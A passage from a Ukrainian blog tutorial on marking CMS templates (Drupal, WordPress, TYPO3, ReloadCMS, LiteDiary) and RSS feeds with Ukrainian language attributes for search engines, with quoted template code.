<strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>>&lt;!-- begin content --><br /> &nbsp;&nbsp;&nbsp; &lt;?php if ($sidebar_right) { ?>&lt;div id=&quot;main&quot;>&lt;!-- begin main -->&lt;?php } ?><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php if ($mission) { ?><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;div id=&quot;mission&quot; <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;h2 class=&quot;title&quot; <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>>&lt;?php print t('Mission') ?>&lt;/h2><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;div class=&quot;content&quot; <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>>&lt;?php print $mission ?>&lt;/div><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/div><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php } ?> <br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php print $breadcrumb ?><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php if ($title) { ?>&lt;h1 class=&quot;title&quot;>&lt;?php print $title ?>&lt;/h1>&lt;?php } ?><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;div class=&quot;tabs&quot; <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>>&lt;?php print $tabs ?>&lt;/div><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php print $help ?><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php print $messages ?><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php print $content; ?><br /> &nbsp;&nbsp;&nbsp; &lt;?php if ($sidebar_right) { ?>&lt;/div>&lt;!-- end main -->&lt;?php } ?><br /> &nbsp;&nbsp;&nbsp; &lt;?php if ($sidebar_right) { ?><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;div id=&quot;sidebar-right&quot; <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>>&lt;!-- begin sidebar-right --><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php print $sidebar_right ?> <br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/div>&lt;!-- end sidebar-right --><br /> &nbsp;&nbsp;&nbsp; &lt;?php } ?><br /> &nbsp; &lt;/div>&lt;!-- end content --><br /> &nbsp; &lt;div id=&quot;footer&quot; <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>>&lt;!-- start footer --><br /> &nbsp;&nbsp;&nbsp; &lt;?php print $footer_message ?><br /> &nbsp; &lt;/div>&lt;!-- end footer --><br /> &lt;/div>&lt;!-- end page --><br /> &lt;?php print $closure ?><br /> &lt;/body><br /> &lt;/html></p></blockquote>
<p>Після вказування всім блокам параметру мови - можете приступати до індексації вебсайту в пошукових системах.</p>
<p id="drupal xml" name="drupal xml">В принципі на цьому можна закінчити - але є ще один елемент - всі ваші стрічки RSS ( XML ) також потребують вказування мови. Тут Вам допоможе модуль teaser, будь-який текст в ньому заключайте в блок div із вказуванням параметру lang. Цей заголовок - коротка аннотація до кожної статті, в повному html буде включено в стрічку RSS, що в майбутньому додасть рейтингу в пошукових системах в контексті мови Ваших документів. Приклад</p>
<blockquote id="приклад локалізації блоку div" name="приклад локалізації блоку div" title="div блок із вказаною локаллю української мови"><p><font size="1"><strong>&lt;div lang=&quot;uk&quot;></strong>Стаття про локалізацію для двигунців drupal, wordpress, typo3, reloadcms<strong>&lt;/div></strong></font></p>
</blockquote>
<p>В принципі локалізація коду Вашого сайту для системи друпал завершена. Все інше - справа за Вами, можете також використовувати ці знання при генерації статей, посиланнях на зовнішні вебсайти ( параметр hreflang=&quot;uk&quot; ) тощо. Все це заставить пошукові системи поважати коректність стандарту та зменьшить пошуковий спам.</p>
<hr width="100%" size="2" />
<p id="локалізація wordpress" name="локалізація wordpress">Наступний двигунець - Wordpess.</p>
<p>Ця програма дуже популярна серед блогерів всього світу, але це нічого не значить - проблеми в ній також присутні.</p>
<p>Ситуація з ним аналогічна до друпалу. В стандартній темі в файлі <a id="шаблон wordpress" name="шаблон wordpress" href="#wp_std" onclick="$('#wp_std').slideToggle()">/wp-content/themes/default/header.php</a></p>
<blockquote id="wp_std" style="display:none" name="wordpress до" title="шаблон сторінки вордпреса до внесення змін по локалізації українською мовою"><p><font size="1">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;><br /> &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; <strong>&lt;?php language_attributes(); ?></strong>><br /> &lt;head profile=&quot;http://gmpg.org/xfn/11&quot;><br /> &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;&lt;?php bloginfo('html_type'); ?>; charset=&lt;?php bloginfo('charset'); ?>&quot;   /><br /> &lt;title>&lt;?php bloginfo('name'); ?> &lt;?php if ( is_single() ) { ?> &amp;raquo; Blog Archive &lt;?php } ?> &lt;?php wp_title(); ?>&lt;/title><br /> &lt;meta name=&quot;generator&quot; content=&quot;WordPress &lt;?php bloginfo('version'); ?>&quot;   /> &lt;!-- leave this for stats --><br /> &lt;link rel=&quot;stylesheet&quot; href=&quot;&lt;?php bloginfo('stylesheet_url'); ?>&quot; type=&quot;text/css&quot; media=&quot;screen&quot;   /><br /> &lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; title=&quot;&lt;?php bloginfo('name'); ?> RSS Feed&quot; href=&quot;&lt;?php bloginfo('rss2_url'); ?>&quot;   /><br /> &lt;link rel=&quot;pingback&quot; href=&quot;&lt;?php bloginfo('pingback_url'); ?>&quot;   /><br /> &lt;style type=&quot;text/css&quot; media=&quot;screen&quot;><br /> &lt;?php// Checks to see whether it needs a sidebar or not<br /> if ( !$withcomments &amp;&amp; !is_single() ) {<br /> ?><br /> &nbsp;&nbsp;&nbsp; #page { background: url(&quot;&lt;?php bloginfo('stylesheet_directory'); ?>/images/kubrickbg-&lt;?php bloginfo('text_direction'); ?>.jpg&quot;) repeat-y top; border: none; }<br /> &lt;?php } else { // No sidebar ?><br /> &nbsp;&nbsp;&nbsp; #page { background: url(&quot;&lt;?php bloginfo('stylesheet_directory'); ?>/images/kubrickbgwide.jpg&quot;) repeat-y top; border: none; }<br /> &lt;?php } ?><br /> &lt;/style>&lt;?php wp_head(); ?><br /> &lt;/head><br /> &lt;body><br /> &lt;div id=&quot;page&quot;><br /> &lt;div id=&quot;header&quot;><br /> &nbsp;&nbsp;&nbsp; &lt;div id=&quot;headerimg&quot;><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;h1>&lt;a href=&quot;&lt;?php echo get_option('home'); ?>/&quot;>&lt;?php bloginfo('name'); ?>&lt;/a>&lt;/h1><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;div class=&quot;description&quot;>&lt;?php bloginfo('description'); ?>&lt;/div><br /> &nbsp;&nbsp;&nbsp; &lt;/div><br /> &lt;/div><br /> &lt;hr   /></font></p>
</blockquote>
<p id="wordpress codex" name="wordpress codex">Згідно документації по темам для Вордпресу - розробники зробили все можливе для багатомовності <a href="http://codex.wordpress.org/Blog_Design_and_Layout" title="http://codex.wordpress.org/Blog_Design_and_Layout">http://codex.wordpress.org/Blog_Design_and_Layout</a> і особливих питань після прочитаного в Вас не повинно виникнути.</p>
<p id="wordpress після" name="wordpress після"><a href="#wp_after" onclick="$('#wp_after').slideToggle()">Отже - перероблений варіант стандартної теми вордпреса</a></p>
<blockquote id="wp_after" style="display:none" title="шаблон вордпресу після внесення змін для української мови"><p><font size="1">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;><br /> &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; <strong>&lt;?php language_attributes(); ?></strong>><br /> &lt;head profile=&quot;http://gmpg.org/xfn/11&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;&lt;?php bloginfo('html_type'); ?>; charset=&lt;?php bloginfo('charset'); ?>&quot;   /><br /> &lt;title </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>&lt;?php bloginfo('name'); ?> &lt;?php if ( is_single() ) { ?> &amp;raquo; Blog Archive &lt;?php } ?> &lt;?php wp_title(); ?>&lt;/title><br /> &lt;meta name=&quot;generator&quot; content=&quot;WordPress &lt;?php bloginfo('version'); ?>&quot;   /> &lt;!-- leave this for stats --><br /> &lt;link rel=&quot;stylesheet&quot; href=&quot;&lt;?php bloginfo('stylesheet_url'); ?>&quot; type=&quot;text/css&quot; media=&quot;screen&quot;   /><br /> &lt;link rel=&quot;alternate&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?> </strong></font><font size="1">type=&quot;application/rss+xml&quot; title=&quot;&lt;?php bloginfo('name'); ?> RSS Feed&quot; href=&quot;&lt;?php bloginfo('rss2_url'); ?>&quot;   /><br /> &lt;link rel=&quot;pingback&quot; href=&quot;&lt;?php bloginfo('pingback_url'); ?>&quot;   /><br /> &lt;style type=&quot;text/css&quot; media=&quot;screen&quot;><br /> &lt;?php // Checks to see whether it needs a sidebar or not<br /> if ( !$withcomments &amp;&amp; !is_single() ) {<br /> ?>&nbsp;&nbsp;&nbsp; #page { background: url(&quot;&lt;?php bloginfo('stylesheet_directory'); ?>/images/kubrickbg-&lt;?php bloginfo('text_direction'); ?>.jpg&quot;) repeat-y top; border: none; }<br /> &lt;?php } else { // No sidebar ?><br /> &nbsp;&nbsp;&nbsp; #page { background: url(&quot;&lt;?php bloginfo('stylesheet_directory'); ?>/images/kubrickbgwide.jpg&quot;) repeat-y top; border: none; }<br /> &lt;?php } ?><br /> &lt;/style>&lt;?php wp_head(); ?><br /> &lt;/head><br /> &lt;body </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">><br /> &lt;div id=&quot;page&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">><br /> &lt;div id=&quot;header&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">><br /> &nbsp;&nbsp;&nbsp; &lt;div id=&quot;headerimg&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;h1 </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>&lt;a href=&quot;&lt;?php echo get_option('home'); ?>/&quot;>&lt;?php bloginfo('name'); ?>&lt;/a>&lt;/h1><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;div class=&quot;description&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>&lt;?php bloginfo('description'); ?>&lt;/div><br /> &nbsp;&nbsp;&nbsp; &lt;/div><br /> &lt;/div><br /> &lt;hr   /></font></p>
</blockquote>
<p>Завжди перевіряйте згенерований HTML після внесення Ваших правок - відсутність коду php та правильність відображення сформованих параметрів <strong>lang=&quot;uk&quot; </strong>- обов'язкова!</p>
<p id="worpdress архіви" name="wordpress архіви">Наступним файлом, який відіграє важливу роль в вордпресі - файл, що відображає архіви</p>
<p><a href="#">/wp-content/themes/default/archive.php</a></p>
<p>Показувати як він виглядає до - не буду. <a href="#wp_arc" onclick="$('#wp_arc').slideToggle()">Просто підкажу що робити з цим і всіма наступними файлами з теми default.</a></p>
<blockquote id="wp_arc" style="display:none" name="wordpress локалізований шаблон архівів" title="шаблон, що відображає архіви вебсайту на базі вордпресу із внесеними змінами для української локалі"><p><font size="1">&lt;?php get_header(); ?><br /> &nbsp;&nbsp;&nbsp; &lt;div id=&quot;content&quot; class=&quot;narrowcolumn&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">><br /> &lt;?php is_tag(); ?><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;?php if (have_posts()) : ?><br /> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &lt;?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?><br /> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &lt;?php /* If this is a category archive */ if (is_category()) { ?><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;h2 class=&quot;pagetitle&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>Archive for the &amp;#8216;&lt;?php single_cat_title(); ?>&amp;#8217; Category&lt;/h2><br /> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &lt;?php /* If this is a tag archive */ } elseif( is_tag() ) { ?><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;h2 class=&quot;pagetitle&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>Posts Tagged &amp;#8216;&lt;?php single_tag_title(); ?>&amp;#8217;&lt;/h2><br /> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &lt;?php /* If this is a daily archive */ } elseif (is_day()) { ?><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;h2 class=&quot;pagetitle&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>Archive for &lt;?php the_time('F jS, Y'); ?>&lt;/h2><br /> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &lt;?php /* If this is a monthly archive */ } elseif (is_month()) { ?><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;h2 class=&quot;pagetitle&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>Archive for &lt;?php the_time('F, Y'); ?>&lt;/h2><br /> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &lt;?php /* If this is a yearly archive */ } elseif (is_year()) { ?><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;h2 class=&quot;pagetitle&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>Archive for &lt;?php the_time('Y'); ?>&lt;/h2><br /> &nbsp;&nbsp;&nbsp; &nbsp; &lt;?php /* If this is an author archive */ } elseif (is_author()) { ?><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;h2 class=&quot;pagetitle&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>Author Archive&lt;/h2><br /> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &lt;?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) &amp;&amp; !empty($_GET['paged'])) { ?><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;h2 class=&quot;pagetitle&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>Blog Archives&lt;/h2><br /> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &lt;?php } ?><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;div class=&quot;navigation&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;div class=&quot;alignleft&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>&lt;?php next_posts_link('&amp;laquo; Older Entries') ?>&lt;/div><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;div class=&quot;alignright&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>&lt;?php previous_posts_link('Newer Entries &amp;raquo;') ?>&lt;/div><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;/div><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;?php while (have_posts()) : the_post(); ?><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;div class=&quot;post&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;h3 id=&quot;post-&lt;?php the_ID(); ?>&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>&lt;a href=&quot;&lt;?php the_permalink() ?>&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &lt;?php the_title_attribute(); ?>&quot;>&lt;?php the_title(); ?>&lt;/a>&lt;/h3><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;small>&lt;?php the_time('l, F jS, Y') ?>&lt;/small><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;div class=&quot;entry&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;?php the_content() ?><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;/div><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;p class=&quot;postmetadata&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>&lt;?php the_tags('Tags: ', ', ', '&lt;br   />'); ?> Posted in &lt;?php the_category(', ') ?> | &lt;?php edit_post_link('Edit', '', ' | '); ?>&nbsp; &lt;?php comments_popup_link('No Comments &amp;#187;', '1 Comment &amp;#187;', '% Comments &amp;#187;'); ?>&lt;/p><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;/div><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;?php endwhile; ?><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;div class=&quot;navigation&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;div class=&quot;alignleft&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>&lt;?php next_posts_link('&amp;laquo; Older Entries') ?>&lt;/div><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;div class=&quot;alignright&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>&lt;?php previous_posts_link('Newer Entries &amp;raquo;') ?>&lt;/div><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;/div>&lt;?php else : ?><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;h2 class=&quot;center&quot; </font><font size="1"><strong>&lt;?php language_attributes(); ?></strong></font><font size="1">>Not Found&lt;/h2><br /> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;?php include (TEMPLATEPATH . '/searchform.php'); ?><br /> &nbsp;&nbsp;&nbsp; &lt;?php endif; ?><br /> &nbsp;&nbsp;&nbsp; &lt;/div><br /> &lt;?php get_sidebar(); ?><br /> &lt;?php get_footer(); ?></font></p>
</blockquote>
<p>Згідно документації по створенню тем для вордпреса розробник може змінити структуру файлів в самій темі, тому у Вашому конкретному випадку можливі інші файли, але суть локалізації - незмінна.</p>
<p>Можна звичайно не вставляти в кожен тег параметр мови, але враховуйте, що пошукові сервіси зберігають вебсторінки в своєму кеші і не завжди зберігають Ваші мета теги, або параметри типу документа і в подальшому опираються на вміст саме в кеші при формуванні своїх індексних сторінок та рейтингів по ключовим словам. Отже ваші вказівки щодо мови блоку або об'єкту не завадять, особливо, якщо Ви підете дальше і будете вказувати кілька мов в своєму документі.</p>
<p id="worpdress xml українською" name="wordpress xml українською">XML в WordPress українською мовою</p>
<p><q>Маленький</q> додаток до вордпреса - експорт в рсс. Мабуть розробники не рахують його важливим, тому по замовчуванню внесли значення для всього xml - en</p>
<p>Я впевнений, що жодних проблем із визначенням мови для англійських сторінок не присутньо в випадку Вордпреса. В нашому ж випадку, та й у випадку будь-якої не en мови варто вказати більш коректніше</p>
<p id="wordpress xml шаблон" name="wordpress xml шаблон"><a href="#">/wp-admin/includes/schema.php</a></p>
<p>В даному файлі знаходим стрічку із текстом (в моєму випадку 209 )</p>
<blockquote title="аналіз та коректування шаблону вордпреса для генерації українського xml до"><p>add_option('rss_language', 'en');</p>
</blockquote>
<p>І міняємо її на коректний варіант, а саме у випадку української мови</p>
<blockquote title="коректування шаблону для вордпрес для української локалі в xml після"><p><strong>add_option('rss_language', 'uk);</strong></p>
</blockquote>
<p>Якщо постаратись - можна пов'язати між собою виведення <strong>$language </strong>та <strong>rss_language</strong> - це я залишу за Вами</p>
<p>&nbsp;</p>
<hr width="100%" size="2" />
<p id="typo3" name="typo3" title="коротко про локалізацію typo3">Наступна оболонка для керування сайтом - typo3</p>
<p>Даний продукт важко назвати простим, хоча НМД - це справа звички.</p>
<p><a lang="en" title="Документація по локалізації typo3" target="_blank" name="Документація по локалізації typo3" href="http://typo3.org/documentation/document-library/extension-manuals/doc_l10nguide/1.0.0/view/1/2/#id2728125">Офіцийний документ про локалізацію</a> досить глибоко описує питання багатомовності - не бачу змісту його дублювати</p>
<p>Про цей продукт я напишу найменше - в саму систему вбудовано дуже потужний механізм ведення багатомовних вебсайтів, головне не забувати користувачам даного продукту вносити параметри мови та локалі і перевіряти наявність цих внесень в генерованому коді.</p>
<p>Ключовим механізмом локалізації - є подубова одразу коректного шаблону.</p>
<p>Крім того гляньте в <a href="#">/typo3_src+dummy-4.1.5/typo3/sysext/lang/lang.php</a></p>
<p>в цьому файлі наведено приклад формування локалі під іменем default</p>
<p>Зустрічав вебсайти українською мовою, XML код яких також прописував <strong>&lt;language>en&lt;language>,</strong> що свідчить, що автори сайту не дуже піклуються про коректність вказування мови. А може їм і не потрібно?</p>
<hr width="100%" size="2" />
<p id="reloadcms локалізовано" name="reloadcms локалізовано">Іншим, доволі різко відмінним від попередніх продуктів, але насправді потужним двигунцем для ведення блогів і не тільки, є reloadcms. Він базується на текстовому варіанті збереження інформації без допомоги баз даних.</p>
<p>Програма написана Українцями, тому питання локалізації стоїть не так гостро. Тобто воно стоїть, але одразу вирішено коректно у всіх аспектах.</p>
<p>При виборі користувачем української мови - в заголовки одразу прописуються параметри мови <strong>lang=&quot;uk&quot;</strong></p>
<p id="reloadcms xml" name="reloadcms xml">Аналогічна ситуація і з XML - тег <strong>&lt;language>uk&lt;/language></strong> присутній в стрічках, згенерованих релоадом.</p>
<p>Для остаточного поблочного вказування мови - при генерації сторінок можете весь текст тіла та скорочені аннотації до статей вносити в оболонку блока div</p>
<blockquote id="reloadcms div" name="reloadcms div" title="приклад поблочної локалізації reloadcms"><p><font size="1">&lt;div <strong>lang=&quot;uk&quot;</strong>>Коротка аннотація до статті, сформованої з допомогою reloadcms&lt;/div></font></p>
</blockquote>
<p>Думаю зрозуміло, що у випадку використання російської мови паралельно з українською даний блочок трошки видозміниться</p>
<blockquote id="reloadcms мультимовність" name="reloadcms мультимовність"><p><font size="1">&lt;div <font size="2"><strong>lang=&quot;ru-UA&quot;</strong></font>>Пример использования русского языка совместно с украинской локализацией&lt;/div></font></p>
</blockquote>
<p>Таке позначення мов стосується всіх варіантів багатомовних документів. Корисно вказувати мову цитат ( blockquote ), скорочень та синонімів ( acronym, span, abbr&nbsp; ) тощо. Така коректність буде серйозно допомагати парсеру пошукового сервісу або іншого, контент залежного програмного забезпечення, за умови, якщо воно підтримує багатомовність.</p>
<hr width="100%" size="2" />
<p id="litediary" name="litediary">Дякую HIP-у за підказаний новий продукт українського виробництва <a href="http://www.litediary.com/" title="http://www.litediary.com/">http://www.litediary.com/</a></p>
<p id="litediary аналіз" name="litediary аналіз">Проаналізував його сорці і побачив, що локалізація зроблена не зовсім коректно.</p>
<p>Першим елементом, що характеризує даний продукт - вебсайт розробника, що імовірно написаний на цьому самому продукті. В сорцях його дуже коректно вказані всі стандарти, але НМД - лише як дань моді.</p>
<p>Людина, зайшовши на сторінку, прочитає все коректно, бо Наш, вбудований аналізатор розпізнає українську мову. Робот - точно ні.</p>
<p>Чому? <a href="#lt_src" onclick="$('#lt_src').slideToggle()">Ось сорці</a></p>
<blockquote id="lt_src" style="display:none" name="litediary webcode" title="недосконала локалізація вебсайту двигунця litediary"><p><font size="1">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;<br /> &nbsp;&nbsp;&nbsp; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;><br /> &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;><br /> &lt;head profile=&quot;http://gmpg.org/xfn/11&quot;><br /> &lt;script src='http://www.litediary.com/sources/lib_js/common.js' type='text/javascript'>&lt;/script><br /> &lt;script type='text/javascript'>url = 'http://www.litediary.com/';&lt;/script><br /> &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;   /><br /> &lt;title><br /> Головна @ LiteDiary &amp;raquo; ...dive into blogging world... - LiteDiary&lt;/title><br /> &lt;meta http-equiv=&quot;Pragma&quot; content=&quot;no-cache&quot;   /><br /> &lt;meta name=&quot;generator&quot; content=&quot;[LP]BS Plus&quot;   /><br /> &lt;meta name=&quot;distribution&quot; content=&quot;global&quot;   /><br /> &lt;meta name=&quot;robots&quot; content=&quot;follow, all&quot;   /><br /> &lt;link href=&quot;http://www.litediary.com/sources/styles/serenity/themes/lpbasic/stylesheet.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;   /><br /> &lt;link rel=&quot;shortcut icon&quot; href=&quot;http://www.litediary.com/favicon.ico&quot;   /><br /> &lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; title=&quot;LiteDiary RSS Feed&quot; href=&quot;http://www.litediary.com/feed/&quot;   /><br /> &lt;/head><br /> &lt;body><br /> &lt;div id=&quot;wall&quot; style=&quot;position:fixed; width:100%; height:100%; z-index:99; border:none; display:none; opacity: .6; filter: alpha(opacity=60); margin:0px; padding:0px; left:0px; top:0px; cursor:progress;&quot;>&lt;/div><br /> &lt;div id=&quot;pages&quot;><br /> &lt;h1>&lt;a href=&quot;http://www.litediary.com/&quot; title=&quot;LiteDiary :: Головна&quot; onclick=&quot;getcontent('act=index');return false;&quot;>LiteDiary&lt;/a>&lt;/h1></font></p>
</blockquote>
<p id="litediary xml code" name="litediary xml code"><a href="#lt_src_xml" onclick="$('#lt_src_xml').slideToggle()">А також наведу частину сорців стрічки XML , що генерується даним програмним ядром</a></p>
<blockquote id="lt_src_xml" style="display:none"><p><font size="1">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?><br /> &lt;!-- generator=&quot;[LP]BS Plus 0.1.7 Alpha [Build 113]&quot; --><br /> &lt;rss version=&quot;2.0&quot;<br /> xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;<br /> xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;<br /> xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;<br /> ><br /> &lt;channel><br /> &lt;title>LiteDiary&lt;/title><br /> &lt;link>http://www.litediary.com/&lt;/link><br /> &lt;description>...dive into blogging world...&lt;/description><br /> &lt;pubDate>Fri, 11 Jan 2008 02:57:00 +200&lt;/pubDate></font></p>
<p> <font size="1">	&lt;generator>http://www.litediary.com/&lt;/generator><br /> <strong>	&lt;language>en&lt;/language></strong><br /> &lt;item><br /> &lt;title>Ласкаво просимо на LiteDiary!&lt;/title><br /> &lt;link>http://www.litediary.com/!posts/2&lt;/link><br /> &lt;pubDate>Fri, 11 Jan 2008 02:57:00 +200&lt;/pubDate><br /> &lt;dc:creator>Admin&lt;/dc:creator><br /> </font><font size="1">		&lt;category>&lt;![CDATA[All]]&gt;&lt;/category><br /> &lt;guid isPermaLink=&quot;false&quot;>&lt;/guid><br /> &lt;description>&lt;![CDATA[&lt;p>&lt;img src=&quot;http://www.litediary.com/litediary.gif&quot; alt=&quot;Logo&quot;  />&lt;/p><br /> &lt;p>Ймовірно, вас зацікавлять розділи:&lt;/p></font></p></blockquote>
<p>В HTML не вказано мови, якою сформовано документ, а в XML вказано! Але чітко - англійська. Будь-який робот буде абсолютно правий, якщо співставить даному домену англійську мову, а в кращому варіанті - російську.</p>
<p>&nbsp;</p>
<p>Для коректування цього всім, хто використовує даний двигунець раджу внести певні зміни до коду.</p>
